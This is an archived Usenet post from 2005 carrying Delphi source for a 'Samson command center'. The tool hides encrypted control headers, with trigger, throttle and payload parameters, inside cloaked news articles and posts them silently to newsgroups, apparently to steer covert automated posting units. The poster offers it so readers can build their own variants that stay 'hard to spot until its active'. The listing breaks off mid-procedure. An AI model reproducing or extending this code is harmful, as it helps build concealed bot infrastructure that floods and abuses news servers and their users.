🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: alc.tools.misc
Article #69

Samson a publication system source code

#69
From: victim of crime
Date: Sun, 11 Dec 2005 16:29
2687 lines
78122 bytes
this contains the complete source for samson command center and flash posting program
have fun boys and girls, you write your own samson when you figure out how this works
that way each samson in unique and hard to spot until its active in posting mode when its already too late

The source is Delphi and should work with Delphi 5 or higher

it uses
DCPcrypt

A Delphi cryptographic component package
Written by David Barton (email davebarton@bigfoot.com)
http://www.hertreg.ac.uk/ss/
The Jedi Component library and INDY 9

program scc;

uses
  Forms,
  sunit1 in 'sunit1.pas' {MainForm},
  snew in 'snew.pas' {NameDlg},
  newserverform in 'newserverform.pas' {ServerForm},
  password in 'password.pas' {PasswordDlg};

{$R *.res}

begin
  Application.Initialize;
  Application.CreateForm(TMainForm, MainForm);
  Application.CreateForm(TNameDlg, NameDlg);
  Application.CreateForm(TServerForm, ServerForm);
  Application.CreateForm(TPasswordDlg, PasswordDlg);
  Application.Run;
end.

unit snew;

interface

uses Windows, SysUtils, Classes, Graphics, Forms, Controls, StdCtrls, 
  Buttons;

type
  TNameDlg = class(TForm)
    Label1: TLabel;
    SrvName: TEdit;
    OKBtn: TButton;
    CancelBtn: TButton;
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  NameDlg: TNameDlg;

implementation

{$R *.dfm}

end.

object NameDlg: TNameDlg
  Left = 739
  Top = 282
  BorderStyle = bsDialog
  Caption = 'New Server Dialog'
  ClientHeight = 93
  ClientWidth = 233
  Color = clBtnFace
  ParentFont = True
  OldCreateOrder = True
  Position = poScreenCenter
  PixelsPerInch = 96
  TextHeight = 13
  object Label1: TLabel
    Left = 8
    Top = 9
    Width = 93
    Height = 13
    Caption = 'Enter Server Name:'
  end
  object SrvName: TEdit
    Left = 8
    Top = 27
    Width = 217
    Height = 21
    TabOrder = 0
  end
  object OKBtn: TButton
    Left = 70
    Top = 59
    Width = 75
    Height = 25
    Caption = 'OK'
    Default = True
    ModalResult = 1
    TabOrder = 1
  end
  object CancelBtn: TButton
    Left = 150
    Top = 59
    Width = 75
    Height = 25
    Cancel = True
    Caption = 'Cancel'
    ModalResult = 2
    TabOrder = 2
  end
end

unit password;

interface

uses Windows, SysUtils, Classes, Graphics, Forms, Controls, StdCtrls, 
  Buttons;

type
  TPasswordDlg = class(TForm)
    Label1: TLabel;
    Password: TEdit;
    OKBtn: TButton;
    CancelBtn: TButton;
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  PasswordDlg: TPasswordDlg;

implementation

{$R *.dfm}

end.

object PasswordDlg: TPasswordDlg
  Left = 730
  Top = 428
  BorderStyle = bsDialog
  Caption = 'Password Dialog'
  ClientHeight = 93
  ClientWidth = 233
  Color = clBtnFace
  ParentFont = True
  OldCreateOrder = True
  Position = poScreenCenter
  PixelsPerInch = 96
  TextHeight = 13
  object Label1: TLabel
    Left = 8
    Top = 9
    Width = 76
    Height = 13
    Caption = 'Enter password:'
  end
  object Password: TEdit
    Left = 8
    Top = 27
    Width = 217
    Height = 21
    PasswordChar = '*'
    TabOrder = 0
  end
  object OKBtn: TButton
    Left = 70
    Top = 59
    Width = 75
    Height = 25
    Caption = 'OK'
    Default = True
    ModalResult = 1
    TabOrder = 1
  end
  object CancelBtn: TButton
    Left = 150
    Top = 59
    Width = 75
    Height = 25
    Cancel = True
    Caption = 'Cancel'
    ModalResult = 2
    TabOrder = 2
  end
end

unit newserverform;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TServerForm = class(TForm)
    SrvName: TEdit;
    Label1: TLabel;
    OKBtn: TButton;
    CancelBtn: TButton;
    VersionEdit: TComboBox;
    TwinEdit: TEdit;
    PairCheck: TCheckBox;
    procedure OKBtnClick(Sender: TObject);
    procedure PairCheckClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  ServerForm: TServerForm;

implementation

{$R *.dfm}

procedure TServerForm.OKBtnClick(Sender: TObject);
begin
 if VersionEdit.ItemIndex=-1 then
   MessageDlg('You must specify the server version', mtError, [mbOK], 0)
  else
   begin
    self.ModalResult:=mrOk;
//    close;
   end;
end;

procedure TServerForm.PairCheckClick(Sender: TObject);
begin
 TwinEdit.Enabled:=PairCheck.Checked;
 if TwinEdit.Enabled then TwinEdit.Color:=clWindow else
  TwinEdit.Color:=clbtnface;
end;

end.

object ServerForm: TServerForm
  Left = 194
  Top = 207
  Width = 242
  Height = 189
  Caption = 'New server name & version'
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  OldCreateOrder = False
  PixelsPerInch = 96
  TextHeight = 13
  object Label1: TLabel
    Left = 8
    Top = 9
    Width = 93
    Height = 13
    Caption = 'Enter Server Name:'
  end
  object SrvName: TEdit
    Left = 8
    Top = 27
    Width = 217
    Height = 21
    TabOrder = 0
  end
  object OKBtn: TButton
    Left = 70
    Top = 131
    Width = 75
    Height = 25
    Caption = 'OK'
    Default = True
    TabOrder = 1
    OnClick = OKBtnClick
  end
  object CancelBtn: TButton
    Left = 150
    Top = 131
    Width = 75
    Height = 25
    Cancel = True
    Caption = 'Cancel'
    ModalResult = 2
    TabOrder = 2
  end
  object VersionEdit: TComboBox
    Left = 8
    Top = 104
    Width = 217
    Height = 21
    ItemHeight = 13
    TabOrder = 3
    Text = 'Version'
    Items.Strings = (
      '1'
      '2'
      '3'
      '4')
  end
  object TwinEdit: TEdit
    Left = 8
    Top = 51
    Width = 217
    Height = 21
    Color = clBtnFace
    Enabled = False
    TabOrder = 4
  end
  object PairCheck: TCheckBox
    Left = 8
    Top = 80
    Width = 97
    Height = 17
    Caption = 'Server Pair'
    TabOrder = 5
    OnClick = PairCheckClick
  end
end


unit sunit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, ExtCtrls, StdCtrls, DCPcrypt, SHA1, Blowfish,
  JvAppStorage, JvAppXMLStorage, JvFormPlacement, JvComponent,
  JvAppRegistryStorage, IdMessage, ICQClient, IdComponent, IdTCPConnection,
  IdTCPClient, IdMessageClient, IdNNTP, IdBaseComponent, IdAntiFreezeBase,
  IdAntiFreeze, LabelSpin, Grids, ValEdit, ToolWin, RMD160, Twofish,
  Rijndael, RC6, RC5, RC2, Misty1, Mars, IDEA, Gost, Cast128;

type
  TBuffer = array[0..8191] of byte;
  TParams = packed record
    case boolean of
     true:(raw:TBuffer);
     false:(
       primary,
       pVar,
       window,
       winVar,
       polling,
       pollVar,
       newsgroups,
       postings,
       priming,
       primeVar,
       trigger,
       triggerVar,
       throttle,
       throttleVar,
       icqPoll,
       icqPollVar,
       icqWindow,
       icqWindowVar,
       cloakmsgsize,
       payload:integer);

   end;
  TMainForm = class(TForm)
    PageControl1: TPageControl;
    TabMain: TTabSheet;
    nntp: TIdNNTP;
    IdAntiFreeze1: TIdAntiFreeze;
    OpenDialog: TOpenDialog;
    SaveDialog: TSaveDialog;
    TabConfig: TTabSheet;
    TabPaload: TTabSheet;
    ToolBar3: TToolBar;
    ToolButton9: TToolButton;
    ToolButton10: TToolButton;
    ToolBar4: TToolBar;
    ToolButton13: TToolButton;
    ToolButton14: TToolButton;
    Panel1: TPanel;
    PrimaryVariance: TLabelSpinEdit;
    WindowVariance: TLabelSpinEdit;
    PostingsProcessCount: TLabelSpinEdit;
    PrimingVariance: TLabelSpinEdit;
    TriggerVariance: TLabelSpinEdit;
    PrimaryDelay: TLabelSpinEdit;
    WindowPeriod: TLabelSpinEdit;
    NGProcessCount: TLabelSpinEdit;
    PrimingPeriod: TLabelSpinEdit;
    TriggerPeriod: TLabelSpinEdit;
    PayloadList: TListBox;
    Throttle: TLabelSpinEdit;
    ThrottleVariance: TLabelSpinEdit;
    icq: TICQClient;
    SLE: TValueListEditor;
    SLV: TValueListEditor;
    message: TIdMessage;
    ToolBar5: TToolBar;
    ConnectBtn: TToolButton;
    UploadBtn: TToolButton;
    ExitButton: TToolButton;
    ToolButton8: TToolButton;
    TabAbout: TTabSheet;
    AboutMemo: TMemo;
    PollingPeriod: TLabelSpinEdit;
    PollingVariance: TLabelSpinEdit;
    Label1: TLabel;
    Label2: TLabel;
    IcqWindowVariance: TLabelSpinEdit;
    IcqWindowPeriod: TLabelSpinEdit;
    IcqPollingPeriod: TLabelSpinEdit;
    IcqPollingVariance: TLabelSpinEdit;
    StoreReg: TJvAppRegistryStorage;
    RegStorage: TJvFormStorage;
    TabServersSCC: TTabSheet;
    SCCE: TValueListEditor;
    SCCV: TValueListEditor;
    ToolBar6: TToolBar;
    ToolButton20: TToolButton;
    ToolButton21: TToolButton;
    XMLStorage: TJvAppXMLFileStorage;
    FileStorage: TJvFormStorage;
    SaveButton: TToolButton;
    ToolButton4: TToolButton;
    LoadButton: TToolButton;
    NewsHost: TLabeledEdit;
    StaticText1: TStaticText;
    PortID: TLabelSpinEdit;
    LabeledEdit2: TLabeledEdit;
    LabeledEdit3: TLabeledEdit;
    TabCrypto: TTabSheet;
    EHashKey: TEdit;
    Oldkey: TEdit;
    LCKey: TLabel;
    LHashKey: TLabel;
    LCipher: TLabel;
    Bevel2: TBevel;
    Progress: TProgressBar;
    Newkey: TEdit;
    Label3: TLabel;
    Verifykey: TEdit;
    Label4: TLabel;
    DCP_blowfish1: TDCP_blowfish;
    DCP_sha11: TDCP_sha1;
    CAlgorithmLbl: TLabel;
    CAlgorithmCBx: TComboBox;
    HAlgorithmCBx: TComboBox;
    HAlgorithmLbl: TLabel;
    DCP_gost1: TDCP_gost;
    DCP_idea1: TDCP_idea;
    DCP_mars1: TDCP_mars;
    DCP_misty11: TDCP_misty1;
    DCP_rc21: TDCP_rc2;
    DCP_rc51: TDCP_rc5;
    DCP_rc61: TDCP_rc6;
    DCP_rijndael1: TDCP_rijndael;
    DCP_twofish1: TDCP_twofish;
    OldCAlgorithmCBx: TComboBox;
    OldHAlgorithmCBx: TComboBox;
    Label5: TLabel;
    Label6: TLabel;
    TabCloaking: TTabSheet;
    CloakingMessage: TMemo;
    GroupBox1: TGroupBox;
    NameEdit: TEdit;
    ToolButton12: TToolButton;
    ToolButton15: TToolButton;
    ToolButton16: TToolButton;
    Label7: TLabel;
    OldkeyVerify: TEdit;
    XReader: TLabeledEdit;
    GroupBox2: TGroupBox;
    subjectedit: TEdit;
    GroupsButton: TToolButton;
    StatusBar: TStatusBar;
    IniStorage: TJvFormStorage;
    ReplyEdit: TEdit;
    UserName: TLabeledEdit;
    PasswordEdit: TLabeledEdit;
    Cloaked: TToolButton;
    Flashed: TToolButton;
    ToolButton3: TToolButton;
    LogTab: TTabSheet;
    Log: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure deleteSamsonClick(Sender: TObject);
    procedure ToolButton13Click(Sender: TObject);
    procedure SLESelectCell(Sender: TObject; ACol, ARow: Integer;
      var CanSelect: Boolean);
    procedure ExitButtonClick(Sender: TObject);
    procedure ConnectBtnClick(Sender: TObject);
    procedure SaveSLEClick(Sender: TObject);
    procedure SCCESelectCell(Sender: TObject; ACol, ARow: Integer;
      var CanSelect: Boolean);
    procedure NewPayload(Sender: TObject);
    procedure UploadBtnClick(Sender: TObject);
    procedure SCCVStringsChange(Sender: TObject);
    procedure SLVStringsChange(Sender: TObject);
    procedure ValueChange(Sender: TObject);
    procedure FormActivate(Sender: TObject);
    procedure ToolButton12Click(Sender: TObject);
    procedure ToolButton10Click(Sender: TObject);
    procedure SCCNewsServers(Sender: TObject);
    procedure ToolButton15Click(Sender: TObject);
    procedure ToolButton16Click(Sender: TObject);
    procedure SCCDeleteClick(Sender: TObject);
    procedure VerifykeyChange(Sender: TObject);
    procedure OldkeyVerifyChange(Sender: TObject);
    procedure PortIDChange(Sender: TObject);
    procedure XReaderChange(Sender: TObject);
    procedure NewsHostChange(Sender: TObject);
    procedure nntpConnected(Sender: TObject);
    procedure nntpDisconnected(Sender: TObject);
    procedure SaveButtonClick(Sender: TObject);
    procedure LoadButtonClick(Sender: TObject);
    procedure GroupsButtonClick(Sender: TObject);
    procedure nntpNewGroupsList(const ANewsgroup: String; const ALow,
      AHigh: Integer; const AType: String; var ACanContinue: Boolean);
    procedure FlashedClick(Sender: TObject);
    procedure CloakedClick(Sender: TObject);
    procedure LogDblClick(Sender: TObject);
  private
    { Private declarations }
    CloakSize:integer;
    count: integer;
    FileLoaded: boolean;
    Filename: string;
  public
    { Public declarations }
    ServerList:TStrings;
    alpha: byte;
    alphadir: boolean;
    procedure KeyCheck;
  end;

var
  Terminate:Boolean;
  Uploading:Boolean;

var
  MainForm: TMainForm;

implementation

uses snew, newserverform, password;

{$R *.dfm}

procedure TMainForm.FormCreate(Sender: TObject);
var i:integer;
begin
 ServerList:=TStringList.Create;
 //TStringList(ServerList).Sorted:=true;
 FileName:=ExtractFilePath(Paramstr(0))+'samng.list';
// Caption:=FileName;
 ServerList.LoadFromFile(FileName);
 if ServerList.Count>0 then GroupsButton.Hint:='List loaded sucessfully';
    iniStorage.StoredValues.Items[0].Value:=FileName;

SLE.Strings.NameValueSeparator:='^';
SCCE.Strings.NameValueSeparator:='^';
//VLE.Strings.NameValueSeparator:=';';
  for i:= 0 to ComponentCount-1 do         // cycle through all the form components add the
  begin                                    // appropriate components to the combo boxes
    if Components[i] is TDCP_blockcipher then
     begin
      CAlgorithmCBx.Items.AddObject(TDCP_blockcipher(Components[i]).Algorithm,Components[i]);
      OldCAlgorithmCBx.Items.AddObject(TDCP_blockcipher(Components[i]).Algorithm,Components[i]);
     end
    else if Components[i] is TDCP_hash then
    begin
      HAlgorithmCBx.Items.AddObject(TDCP_hash(Components[i]).Algorithm,Components[i]);
      OldHAlgorithmCBx.Items.AddObject(TDCP_hash(Components[i]).Algorithm,Components[i]);
    end;
    if Components[i] is TLabelSpinEdit then
     TLabelSpinEdit(Components[i]).Tag:=TLabelSpinEdit(Components[i]).Value;
  end;
  CAlgorithmCBx.ItemIndex:= 0;            // set the first item as the default
  HAlgorithmCBx.ItemIndex:= 0;
  OldCAlgorithmCBx.ItemIndex:= 0;            // set the first item as the default
  OldHAlgorithmCBx.ItemIndex:= 0;
end;

procedure TMainForm.deleteSamsonClick(Sender: TObject);
begin
if MessageDlg('Warning'+#13+#10+'Deleting control parameters can render control of the samson '+
   #13+#10+'unit impossible resulting in triggering of the unit'+#13+#10+
   'Do you want to continue?', mtWarning, [mbOK,mbCancel], 0)
    in [mrOk] then
  begin
   if (sle.row >=0) then
   sle.DeleteRow(sle.Row) else MessageDlg('Nothing selected to delete', mtError, [mbOK], 0);
  end;  //wow
end;

procedure TMainForm.ToolButton13Click(Sender: TObject);
 begin
  if ServerForm.ShowModal=mrOk then
  begin
   if ServerForm.PairCheck.Checked then
   case ServerForm.VersionEdit.ItemIndex of
     0: SLE.Strings.Add('Pair_'+ServerForm.SrvName.Text+'^First='+ServerForm.SrvName.Text+
     
',Second='+ServerForm.TwinEdit.Text+',Host_A=,Host_B=,Password_A=,Password_B=,Port=119,Key=,XKey1=,Xkey2=,Pass
phrase=,'+
     'Trigger_Phrase=,Version=1');
     1: SLE.Strings.Add('Pair_'+ServerForm.SrvName.Text+'^First='+ServerForm.SrvName.Text+
     
',Second='+ServerForm.TwinEdit.Text+',Host_A=,Host_B=,Password_A=,Password_B=,Port=119,Key=,XKey1=,Xkey2=,Pass
phrase=,'+
     'Trigger_Phrase=,Trigger_Subject=,Warn_Email=,Warn_Email_2=,Version=2');
     2: SLE.Strings.Add('Pair_'+ServerForm.SrvName.Text+'^First='+ServerForm.SrvName.Text+
     
',Second='+ServerForm.TwinEdit.Text+',Host_A=,Host_B=,Password_A=,Password_B=,Port=119,Key=,XKey1=,Xkey2=,Pass
phrase=,'+
     
'Trigger_Phrase=,Trigger_Subject=,Trigger_ICQ_UID=,ICQ_UID_A=,ICQ_Password_A=,ICQ_UID_B=,ICQ_Password_B=,'+
     'Warn_Email=,Warn_Email_2=,Version=3');
   end else
   case ServerForm.VersionEdit.ItemIndex of
     0: SLE.Strings.Add(ServerForm.SrvName.Text+'^Host=,Password=,Port=119,Key=,Passphrase=,'+
   'Trigger_Phrase=,Version=1');
     1: SLE.Strings.Add(ServerForm.SrvName.Text+'^Host=,Password=,Port=119,Key=,Passphrase=,'+
   'Trigger_Phrase=,Trigger_Subject=,Warn_Email=,Warn_Email_2=,Version=2');
     2: SLE.Strings.Add(ServerForm.SrvName.Text+'^Host=,Password=,Port=119,Key=,Passphrase=,'+
   'Trigger_Phrase=,Trigger_Subject=,Trigger_ICQ_UID=,ICQ_UID=,Password=,'+
   'Warn_Email=,Warn_Email_2=,Version=3');
   end;
  end;
end;

procedure TMainForm.SLESelectCell(Sender: TObject; ACol, ARow: Integer;
  var CanSelect: Boolean);
begin
SLV.Strings.CommaText:= SLE.Strings.Values
[SLE.Strings.Names
[ARow-1]];

end;

procedure TMainForm.ExitButtonClick(Sender: TObject);
begin
 close;
end;

procedure TMainForm.ConnectBtnClick(Sender: TObject);
begin
 if nntp.Connected then nntp.Disconnect else
 nntp.Connect;
end;

procedure TMainForm.SaveSLEClick(Sender: TObject);
begin
 Try
  if SaveDialog.Execute then
  SLE.Strings.SaveToFile(SaveDialog.FileName);
 except
 end;
end;

procedure TMainForm.SCCESelectCell(Sender: TObject; ACol, ARow: Integer;
  var CanSelect: Boolean);
begin
SCCV.Strings.CommaText:= SCCE.Strings.Values
[SCCE.Strings.Names
[ARow-1]];
end;

procedure TMainForm.NewPayload(Sender: TObject);
begin
 OpenDialog.DefaultExt:='*';
 if OpenDialog.Execute then
 PayLoadList.Items.Add(OpenDialog.FileName);
end;

procedure TMainForm.UploadBtnClick(Sender: TObject);
var header,data,text:string; l,q:integer;
var
  Source, Dest: file;
  Buffer: TParams;
  Hash: TDCP_sha1;
  HashDigest,
  OldHashDigest: array[0..31] of byte;
  OldEncrypt,Encrypt: TDCP_blockcipher;
  Read: integer;
  nvs:string;
  //this function gets round a typecast failure
  function raw(i:integer):integer;
   begin
    result:=buffer.raw[i];
   end;
begin
 nvs:=message.ExtraHeaders.namevalueseparator;
 message.Clear;
 message.Subject:=SubjectEdit.Text;
 message.Body.Assign(cloakingMessage.Lines);
 message.From.DisplayName:=nameEdit.Text;
 message.From.Address:=ReplyEdit.Text;
 CloakSize:=length(message.Body.Text);

 // crypto procedure
  FillChar(Buffer,Sizeof(Buffer),$00);
  FillChar(HashDigest,Sizeof(HashDigest),$FF);   // fill the digest with $FF as the actual digest may not fill the entire digest
  FillChar(OldHashDigest,Sizeof(OldHashDigest),$FF);   // fill the digest with $FF as the actual digest may not fill the entire 
digest
  Hash:= TDCP_sha1.Create(Self);
  // hash the new passphrase
  Hash.Init;
  Hash.UpdateStr(Newkey.Text);           // hash the passphrase to get the key
  Hash.Final(HashDigest);
  // hash the old passphrase
  Hash.Init;
  Hash.UpdateStr(Oldkey.Text);           // hash the passphrase to get the key
  Hash.Final(OldHashDigest);
  Hash.Free;
  data:='';
  OldEncrypt:= TDCP_blockcipher(OldCAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]);  // get the component from 
the combo box
  OldEncrypt.Init(OldHashDigest,Sizeof(OldHashDigest)*8,nil);     // initialize the cipher with the digest, IV= nil to generate one 
automatically 
(note: size in bits ie. sizeof(x)*8)
  OldEncrypt.EncryptCBC(OldHashDigest,OldHashDigest,Sizeof(HashDigest));  // encrypt the hash and write it to the file to 
use as passphrase
  OldEncrypt.Reset;
  for l:=0 to sizeof(oldhashDigest)-1 do
  data:=Data+intToHex(OldHashDigest[l],2);                                                 // confirmation
  //encrypt the new password;
  Text:=Newkey.Text;
  Q:=length(Text)-1;
  OldEncrypt.EncryptCBC(Text,Buffer,Q);
  for l:=0 to Q do
  data:=Data+intToHex(Buffer.raw[l],2);                                                 // confirmation
  //encrypt the new Algorithim;
  Text:=CAlgorithmCBx.Text;
  Q:=length(Text)-1;
  OldEncrypt.EncryptCBC(Text,Buffer,Q);
  for l:=0 to Q do
  data:=Data+intToHex(Buffer.raw[l],2);                                                 // confirmation
  //encrypt the new Hash Algo;
  Text:=HAlgorithmCBx.Text;
  Q:=length(Text)-1;
  OldEncrypt.EncryptCBC(Text,Buffer,Q);
  for l:=0 to Q do
  data:=Data+intToHex(Buffer.raw[l],2);                                                 // confirmation
  // add the whole lot to the x-samson header
  // first cloak the header so echelon cant find it easy
  text:='samson';
  Header:='X-';
  Q:=length(Text)-1;
  OldEncrypt.EncryptCBC(Text,Buffer,Q);
  for l:=0 to Q do
  Header:=Header+intToHex(Buffer.raw[l],2);                                                 // confirmation
//  message.Headers.Add(header+'='+data);
  message.ExtraHeaders.Add(header+nvs+data);
  OldEncrypt.Reset;
  // now we move to the new algorithm
  Encrypt:= TDCP_blockcipher(CAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]);  // get the component from the 
combo box
  Encrypt.Init(HashDigest,Sizeof(HashDigest)*8,nil);     // initialize the cipher with the digest, IV= nil to generate one 
automatically (note: size in 
bits ie. sizeof(x)*8)
  Header:='X-';
  Text:='params';
  Q:=length(Text)-1;
  OldEncrypt.EncryptCBC(Text,Buffer,Q);
  for l:=0 to Q do
  Header:=Header+intToHex(Buffer.raw[l],2);                                                 // confirmation
// do the params
 Buffer.primary:=primarydelay.value;
 Buffer.pVar:=primaryVariance.value;
 Buffer.window:=WindowPeriod.Value;
 Buffer.winVar:=WindowVariance.Value;
 Buffer.polling:=PollingPeriod.Value;
 Buffer.pollVar:=PollingVariance.Value;
 Buffer.newsgroups:=NGProcessCount.Value;
 Buffer.postings:=PostingsProcessCount.Value;
 Buffer.priming:=PrimingPeriod.Value;
 Buffer.primeVar:=PrimingVariance.Value;
 Buffer.trigger:=TriggerPeriod.Value;
 Buffer.triggerVar:=TriggerVariance.Value;
 Buffer.throttle:=Throttle.Value;
 Buffer.throttleVar:=ThrottleVariance.Value;
 Buffer.icqPoll:=icqpollingPeriod.Value;
 Buffer.icqPollVar:=icqpollingVariance.Value;
 Buffer.icqWindow:=IcqWindowPeriod.Value;
 Buffer.icqWindowVar:=IcqWindowVariance.Value;

 encrypt.EncryptCBC(buffer,buffer,20*sizeof(integer));
 data:='';
  for l:=0 to (20*sizeof(integer))-1 do
  Data:=Data+intToHex(raw(l),2);                                                 // confirmation
 message.ExtraHeaders.Add(Header+nvs+data);
// encrypt the payload
// add the payload at the end of the cloaking message as hex strings
 for l:=0 to scce.Strings.Count-1 do
  begin
  try
   SCCV.Strings.CommaText:= SCCE.Strings.ValueFromIndex[l];
   NNTP.Host:=SCCV.Values['HOST'];
   for Q:=0 to SCCV.Strings.Count-1 do
    begin
     try
     if SCCV.Strings.Names[q]='newsgroup' then
      begin
       Message.NewsGroups.Clear;
       Message.NewsGroups.Add(SCCV.Strings.ValueFromIndex[Q]);
       nntp.Post(Message);
      end;
     except
     // just keep it quiet
     end;
    end;
  except
   // nevermind the verbose fail silently
  end;
end;
end;

procedure TMainForm.SCCVStringsChange(Sender: TObject);
begin
 if MainForm.ActiveControl=SCCV then
SCCE.Strings.Values
[SCCE.Strings.Names
[SCCE.Row-1]]:=SCCV.Strings.CommaText;// .Text;

end;

procedure TMainForm.SLVStringsChange(Sender: TObject);
begin
 if MainForm.ActiveControl=SLV then
SLE.Strings.Values
[SLE.Strings.Names
[SLE.Row-1]]:=SLV.Strings.CommaText;// .Text;
end;

procedure TMainForm.ValueChange(Sender: TObject);
begin
 with sender as TlabelSpinEdit do
  begin
   if value<>tag then
    color:=clskyblue else color:=clwhite;
  end;
end;

procedure TMainForm.FormActivate(Sender: TObject);
var i:integer;
begin
  for i:= 0 to ComponentCount-1 do         // cycle through all the form components add the
    if Components[i] is TLabelSpinEdit then
     begin
      TLabelSpinEdit(Components[i]).Tag:=TLabelSpinEdit(Components[i]).Value;
      ValueChange(Components[i]);
     end;
  VerifyKeyChange(nil);
  OldKeyVerifyChange(nil);
end;

procedure TMainForm.ToolButton12Click(Sender: TObject);
begin
if MessageDlg('', mtWarning, [mbYes,mbNo], 0) = mrYes then
 Payloadlist.Clear;
end;

procedure TMainForm.ToolButton10Click(Sender: TObject);
begin
 Payloadlist.Items.Delete(PayLoadList.ItemIndex);
end;

procedure TMainForm.SCCNewsServers(Sender: TObject);
begin
 if NameDlg.ShowModal=mrOk then
 SCCE.Strings.Add(NameDLG.SrvName.Text+'^Host=,Username=,Password=,'+
 'Port=,Sender=scc,SenderAddress=scc@samson.net,'+
 'newsgroup=borland.offtopic');

end;

procedure TMainForm.ToolButton15Click(Sender: TObject);
begin
 SCCV.Strings.Add('newsgroup=borland.offtopic');
 SCCVStringsChange(sender);
end;

procedure TMainForm.ToolButton16Click(Sender: TObject);
begin
 if sccv.Keys[sccv.Row]='newsgroup' then
 if MessageDlg('Confirm delete action', mtConfirmation, [mbYes,mbNo], 0) = mrYes then
 if sccv.row>0 then SCCV.Strings.Delete(sccv.Row-1);
 SCCVStringsChange(sender);
end;

procedure TMainForm.SCCDeleteClick(Sender: TObject);
begin
 if scce.row> 0 then if MessageDlg('This action cannot be undone'+#13+#10+'are you sure?', mtWarning, [mbYes,mbNo], 0) 
= mrYes then
 begin
  Scce.DeleteRow(scce.Row);
  SCCV.Strings.Clear;
 end;
end;

procedure TMainForm.VerifykeyChange(Sender: TObject);
var L:integer;
begin
 if verifykey.Text <> newkey.Text then verifykey.Color:=clred else verifykey.color:=clwindow;
  L:=length(NewKey.text);
  case l of
  0..16:newkey.Color:=$008888FF;
  17..32:newkey.Color:=$0080FFFF;
   else
   NewKey.Color:=clLime;
  end;
 keycheck;
end;

procedure TMainForm.OldkeyVerifyChange(Sender: TObject);
begin
  if oldkey.Text <> oldkeyverify.Text then oldkeyverify.color:=clred else oldkeyverify.Color:=clwindow;
//  if length(oldkey.text)<16 then Oldkey.Color:=$0080FFFF else Oldkey.color:=clWindow;
  keycheck;
end;

procedure TMainForm.PortIDChange(Sender: TObject);
begin
 nntp.Port:=portid.value;
end;

procedure TMainForm.KeyCheck;
begin
 if oldkey.Text=newkey.text then Caption:='Warning old and new keys are identical'
   else caption:='Samson Command Center Version 3 for Windows NT';
end;

procedure TMainForm.XReaderChange(Sender: TObject);
begin
 NNTP.NewsAgent:=XReader.Text;
end;

procedure TMainForm.NewsHostChange(Sender: TObject);
begin
 nntp.Host:=Newshost.Text;
end;

procedure TMainForm.nntpConnected(Sender: TObject);
begin
 connectbtn.Caption:='Disconnect';
 uploadBtn.Visible:=true;
end;

procedure TMainForm.nntpDisconnected(Sender: TObject);
begin
 ConnectBtn.Caption:='Connect';
 uploadBtn.Visible:=false;
end;

procedure TMainForm.SaveButtonClick(Sender: TObject);
var Stream:TMemoryStream;
    Crypto: TDCP_blockcipher;
    Hash: TDCP_sha1;
    HashDigest: array[0..31] of byte;
begin
 SaveDialog.FileName:=XmlStorage.FullFileName;
 SaveDialog.FilterIndex:=4;
 if SaveDialog.Execute then
  begin
   FileStorage.SaveFormPlacement;
   Stream:=TmemoryStream.Create;
   XmlStorage.Xml.SaveToStream(Stream);
// get the password
   if PasswordDlg.showModal=mrOk then
    begin
// do the crypto
     Hash:=TDCP_Sha1.Create(self);
     Crypto:=TDCP_Blowfish.Create(self);
     FillChar(HashDigest,Sizeof(HashDigest),$FF);   // fill the digest with $FF as the actual digest may not fill the entire digest
     Hash.Init;
     Hash.UpdateStr(PasswordDlg.Password.text);           // hash the passphrase to get the key
     Hash.Final(HashDigest);
     Crypto.Init(HashDigest,Sizeof(HashDigest)*8,nil);     // initialize the cipher with the digest, IV= nil to generate one 
automatically (note: size in 
bits ie. sizeof(x)*8)
     Crypto.EncryptCBC(Stream.Memory^,Stream.Memory^,Stream.Size);
     Crypto.Free;
     Hash.Free;
// save the file
     Stream.SavetoFile(SaveDialog.FileName);
    end;
   Stream.Free;
  end;
end;

procedure TMainForm.LoadButtonClick(Sender: TObject);
var Stream:TMemoryStream;
    Crypto: TDCP_blockcipher;
    Hash: TDCP_sha1;
    HashDigest: array[0..31] of byte;
begin
 OpenDialog.FilterIndex:=0;
 if OpenDialog.Execute then
 begin
  Stream:=TmemoryStream.Create;
  Stream.LoadFromFile(OpenDialog.FileName);
// get the password
  if PasswordDlg.showModal=mrOk then
    begin
  // do the crypto
     Hash:=TDCP_Sha1.Create(self);
     Crypto:=TDCP_Blowfish.Create(self);
     FillChar(HashDigest,Sizeof(HashDigest),$FF);   // fill the digest with $FF as the actual digest may not fill the entire digest
     Hash.Init;
     Hash.UpdateStr(PasswordDlg.Password.text);           // hash the passphrase to get the key
     Hash.Final(HashDigest);
     Crypto.Init(HashDigest,Sizeof(HashDigest)*8,nil);     // initialize the cipher with the digest, IV= nil to generate one 
automatically (note: size in 
bits ie. sizeof(x)*8)
     Crypto.DecryptCBC(Stream.Memory^,Stream.Memory^,Stream.Size);
     Crypto.Free;
     Hash.Free;
    end;
  XmlStorage.Xml.LoadFromStream(Stream);
  FileStorage.RestoreFormPlacement;
 end;
end;

procedure TMainForm.GroupsButtonClick(Sender: TObject);
begin
   if not nntp.Connected then
    begin
     Statusbar.Panels[2].Text:='Offline, Please connect first';
     exit;
    end;
 ServerList.Clear;
 NNTP.GetNewsgroupList;
 TStringList(ServerList).Sort;
 Count:=0;
end;

procedure TMainForm.nntpNewGroupsList(const ANewsgroup: String; const ALow,
  AHigh: Integer; const AType: String; var ACanContinue: Boolean);
begin
  if AType<>'n' then ServerList.Add(ANewsGroup);
  ACanContinue:=true;
  Inc(Count);
  StatusBar.Panels[1].Text:='Records loaded:'+intToStr(Count);
end;

procedure TMainForm.FlashedClick(Sender: TObject);
var header,data,text:string; l,q:integer;
var
  Source, Dest: file;
